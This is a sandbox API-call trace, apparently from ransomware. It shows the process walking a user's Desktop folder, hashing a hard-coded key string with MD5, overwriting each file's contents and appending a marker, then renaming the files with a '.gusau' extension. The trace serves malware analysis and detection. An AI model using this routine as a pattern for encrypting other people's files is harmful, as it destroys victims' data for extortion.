WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.534] CloseHandle (hObject=0x610) returned 1 [0118.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974258 [0118.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.535] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974258 | out: hHeap=0xd10000) returned 1 [0118.535] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eZfj5ZvjMOZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\ezfj5zvjmoz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eZfj5ZvjMOZ.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\ezfj5zvjmoz.m4a.gusau")) returned 1 [0118.536] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.536] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.537] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.537] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c2752e0, ftCreationTime.dwHighDateTime=0x1d4cd6a, ftLastAccessTime.dwLowDateTime=0x310bee90, ftLastAccessTime.dwHighDateTime=0x1d4c553, ftLastWriteTime.dwLowDateTime=0x310bee90, ftLastWriteTime.dwHighDateTime=0x1d4c553, nFileSizeHigh=0x0, nFileSizeLow=0x14c9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O7mIpznG0.gif", cAlternateFileName="O7MIPZ~1.GIF")) returned 1 [0118.537] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.537] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.537] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.537] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\O7mIpznG0.gif") returned=".gif" [0118.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\O7mIpznG0.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\o7mipzng0.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.538] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=85148) returned 1 [0118.538] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.540] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14c76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.540] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.542] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.542] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.542] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.542] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14c9c, lpOverlapped=0x0) returned 1 [0118.543] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.543] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.543] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.543] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.543] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0118.544] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.544] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.544] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.544] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.544] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.544] GetLastError () returned 0x0 [0118.544] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.544] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0118.544] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.545] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14ca0) returned 0x39f9f20 [0118.545] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.545] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.545] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x14c97, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x14c97, lpOverlapped=0x0) returned 1 [0118.545] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.545] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14c9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.546] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.546] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.546] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.546] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.546] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.546] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.546] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.546] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.546] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.546] CloseHandle (hObject=0x610) returned 1 [0118.547] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974258 [0118.547] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f4ef8 [0118.547] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974258 | out: hHeap=0xd10000) returned 1 [0118.547] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\O7mIpznG0.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\o7mipzng0.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\O7mIpznG0.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\o7mipzng0.gif.gusau")) returned 1 [0118.548] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.548] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.549] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2dbcda0, ftCreationTime.dwHighDateTime=0x1d4c658, ftLastAccessTime.dwLowDateTime=0xccbfbf20, ftLastAccessTime.dwHighDateTime=0x1d4c74b, ftLastWriteTime.dwLowDateTime=0xccbfbf20, ftLastWriteTime.dwHighDateTime=0x1d4c74b, nFileSizeHigh=0x0, nFileSizeLow=0x16992, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qDPtFMhAiJ2xQ vm.odp", cAlternateFileName="QDPTFM~1.ODP")) returned 1 [0118.549] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.549] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.549] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.549] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\qDPtFMhAiJ2xQ vm.odp") returned=".odp" [0118.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\qDPtFMhAiJ2xQ vm.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\qdptfmhaij2xq vm.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.550] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=92562) returned 1 [0118.550] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.552] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1696c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.552] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.553] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.553] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.553] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.553] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x16992, lpOverlapped=0x0) returned 1 [0118.554] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.554] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.554] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.555] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.555] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0118.555] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.555] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.555] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.555] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.555] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.555] GetLastError () returned 0x0 [0118.556] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.556] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0118.556] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.556] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16990) returned 0x39f9f20 [0118.556] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.556] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.556] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1698d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1698d, lpOverlapped=0x0) returned 1 [0118.556] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.556] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16992, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.557] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.557] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.557] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.557] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.557] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.557] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.557] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.557] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.557] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.557] CloseHandle (hObject=0x610) returned 1 [0118.558] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0118.558] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.558] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0118.558] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\qDPtFMhAiJ2xQ vm.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\qdptfmhaij2xq vm.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\qDPtFMhAiJ2xQ vm.odp.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\qdptfmhaij2xq vm.odp.gusau")) returned 1 [0118.559] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.559] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.559] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.559] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2dbcda0, ftCreationTime.dwHighDateTime=0x1d4c658, ftLastAccessTime.dwLowDateTime=0xccbfbf20, ftLastAccessTime.dwHighDateTime=0x1d4c74b, ftLastWriteTime.dwLowDateTime=0xccbfbf20, ftLastWriteTime.dwHighDateTime=0x1d4c74b, nFileSizeHigh=0x0, nFileSizeLow=0x16992, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qDPtFMhAiJ2xQ vm.odp", cAlternateFileName="QDPTFM~1.ODP")) returned 0 [0118.560] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.560] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.560] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.560] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.562] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.562] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.562] HeapFree (in: hHeap=0xd10000, 